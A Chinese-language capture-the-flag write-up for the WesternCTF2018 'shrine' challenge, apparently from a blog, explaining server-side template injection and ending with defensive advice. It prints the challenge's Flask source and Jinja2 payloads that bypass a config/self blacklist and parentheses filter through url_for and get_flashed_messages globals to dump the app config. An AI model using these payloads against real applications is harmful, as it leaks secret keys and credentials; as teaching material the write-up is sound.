[WesternCTF2018]shrine
0x00 知识点
SSTI模板注入:

模板注入涉及的是服务端Web应用使用模板引擎渲染用户请求的过程
服务端把用户输入的内容渲染成模板就可能造成SSTI(Server-Side Template Injection)
0x01模板引擎
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。一些模板引擎:Smarty,Mako,Jinja2,Jade,Velocity,Freemaker和Twig
模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。与此同时,它也扩展了黑客的攻击面。除了常规的 XSS 外,注入到模板中的代码还有可能引发 RCE(远程代码执行)。通常来说,这类问题会在博客,CMS,wiki 中产生。虽然模板引擎会提供沙箱机制,攻击者依然有许多手段绕过它。
0x02 模板渲染
首先 模板渲染分解为前端渲染和后端渲染,还有浏览器渲染。
模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。
通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。
0x03 服务端模版注入
服务器执行了我们传过去的数据。每当服务器用模板引擎解析用户的输入时,这类问题都有可能发生。除了常规的输入外,攻击者还可以通过 LFI(文件包含)触发它。模板注入和 SQL 注入的产生原因有几分相似——都是将未过滤的数据传给引擎解析。
这里模板注入前加“服务端”,这是为了和 jQuery,KnockoutJS 产生的客户端模板注入区别开来。通常的来讲,前者甚至可以让攻击者执行任意代码,而后者只能 XSS。
0x04 模板引擎注入
一些模板引擎:Smarty,Mako,Jinja2,Jade,Velocity,Freemaker和Twig,模板注入是一种注入攻击,可以产生一些特别有趣的影响。对于AngularJS的情况,这可能意味着XSS,并且在服务器端注入的情况下可能意味着远程代码执行。重点来了,不同引擎有不同的测试以及注入方式!
flask/jinja2模板注入
PHP/模版引擎Twig注入
0x05 tplmap
利用tplmap这个工具进行检测是否有模板注入漏洞,用法有点像sqlmap,都是基于python的。
0x06 解题
模板渲染接受的参数需要用两个大括号括起来{{}}模板注入也在大括号里构造
题目源码:
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])
+ s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
首先在shrine路径下测试ssti能正常执行
/shrine/{{ 2+2 }}

接着分析源码
app.config['FLAG'] = os.environ.pop('FLAG')
注册了一个名为FLAG的config,猜测这就是flag,如果没有过滤可以直接{{config}}即可查看所有app.config内容,但是这题设了黑名单[‘config’,‘self’]并且过滤了括号
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
上面这行代码把黑名单的东西遍历并设为空,例如:
/shrine/{{config}}
不过python还有一些内置函数,比如url_for和get_flashed_messages
/shrine/{{url_for.__globals__}}

看到current_app意思应该是当前app,那我们就当前app下的config:
/shrine/{{url_for.__globals__['current_app'].config}}

get_flashed_messages
返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。
同理
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}

0x07 防御SSTI
防御对于不同的模板引擎,防御方案也不相同。但做好对用户输入的清理/过滤,将能大大的降低此类问题带来的安全威胁。
另一个选择是创建一个安全加固/沙箱环境,禁用或删除潜在的危险指令。
为了防止此类漏洞,你应该像使用eval()函数一样处理字符串加载功能。尽可能加载静态模板文件。
注意:我们已经确定此功能类似于require()函数调用。因此,你也应该防止本地文件包含(LFI)漏洞。不要允许用户控制此类文件或其内容的路径。
另外,无论在何时,如果需要将动态数据传递给模板,不要直接在模板文件中执行,你可以使用模板引擎的内置功能来扩展表达式,实现同样的效果。
参考链接
https://www.jianshu.com/p/aef2ae0498df
https://blog.csdn.net/chasingin/article/details/104063617
[WesternCTF2018]shrine的更多相关文章
- [WesternCTF2018]shrine(SSTI+过滤)
记一道存在过滤的模板注入的题.直接给源代码 import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.env ...
- CTFhub刷题记录
一 [WesternCTF2018]shrine 没什么好说的,SSTI模版注入类问题,过滤了()但是我们不慌.开始注入,{{29*3}}测试通过. 发现是jinjia2的模版注入.关键点在于没有() ...
- 刷题记录:Shrine
目录 刷题记录:Shrine 刷题记录:Shrine 题目复现链接:https://buuoj.cn/challenges 参考链接:Shrine 解此题总结一下flask的SSTI:CTF SSTI ...
- shrine
0x01 import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') ...
- 【TokyoWesterns CTF】shrine
信息: 题目来源:TokyoWesterns CTF 标签:flask.SSTI 解题过程 构建题目环境后,访问主页可以获得程序源码: import flask import os app = fla ...
- 攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup
攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup 题目介绍 题目考点 模板注入 Writeup 进入题目 import flask import os a ...
- 攻防世界shrine
shrine import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG' ...
- AssetBundle loading failed because.....已解决
http://blog.csdn.net/ldghd/article/details/9632455 ***************************** 一 ******* ...
- Unity5中叹为观止的实时GI效果
http://www.manew.com/thread-43970-1-1.html 今天为大家分享unity与Alex Lovett共同使用unity5制作的Shrine Arch-viz Demo ...
随机推荐
- P1073 多选题常见计分法
P1073 多选题常见计分法 转跳点:
- stm32串口收发导致的死机
stm32串口收发导致的死机 很久以前有偶尔遇到过串口死机的情况,那是当时的我写出来的代码自己都觉得有问题,也就没注意.用了stm32做项目以后也就没遇到过了,今天做了个高压测试,每5ms定时发送一次 ...
- C++编程学习(十一) 指针和引用的区别
1.指针有自己的一块空间,而引用只是一个别名: 2.使用sizeof看一个指针的大小是4,而引用则是被引用对象的大小: 3.指针可以被初始化为NULL,而引用必须被初始化且必须是一个已有对象 的引用: ...
- imput placeholder 移动端不居中问题
input{ height: 100%; } input::-webkit-input-placeholder { display: flex; align-items: center; line-h ...
- BAT 五路internet负载均衡
一个网上下载的bat文件 也不记得从那里下载的了 记得似乎需要管理员权限运行 依稀记得测试有效 放在这里做个记录 @echo off echo. echo ╭─────────╮ echo ╭──── ...
- JAVA String类常用方法
一.String类String类在java.lang包中,java使用String类创建一个字符串变量,字符串变量属于对象.java把String类声明的final类,不能有类.String类对象创建 ...
- Linux学习《第四章shell脚本练习一》随堂练习(重要)
- HTML的文档结构与语法(一)
一.走进Web开发 Web运行的原理: 二.HTML 1.1什么是html HTML是用来描述网页的一种语言 HTML指的是超文本标记语言(Hyper Text Markup Language) 超文 ...
- Python基础笔记:input()输入与数据类型转换
input就是个万能输入,不过input输入的元素都是以str形式保存的,如果要他作为一个整数的话,就需要进行数据类型转换. input的使用 name=input('please input you ...
- 八十二、SAP中的ALV创建之一,新建一个程序
一.创建一个ALV的程序 二.填写程序属性 三.保存到本地对象 四.来到代码区,这样一个新工程就创建好了,我们后续来写相关的创建代码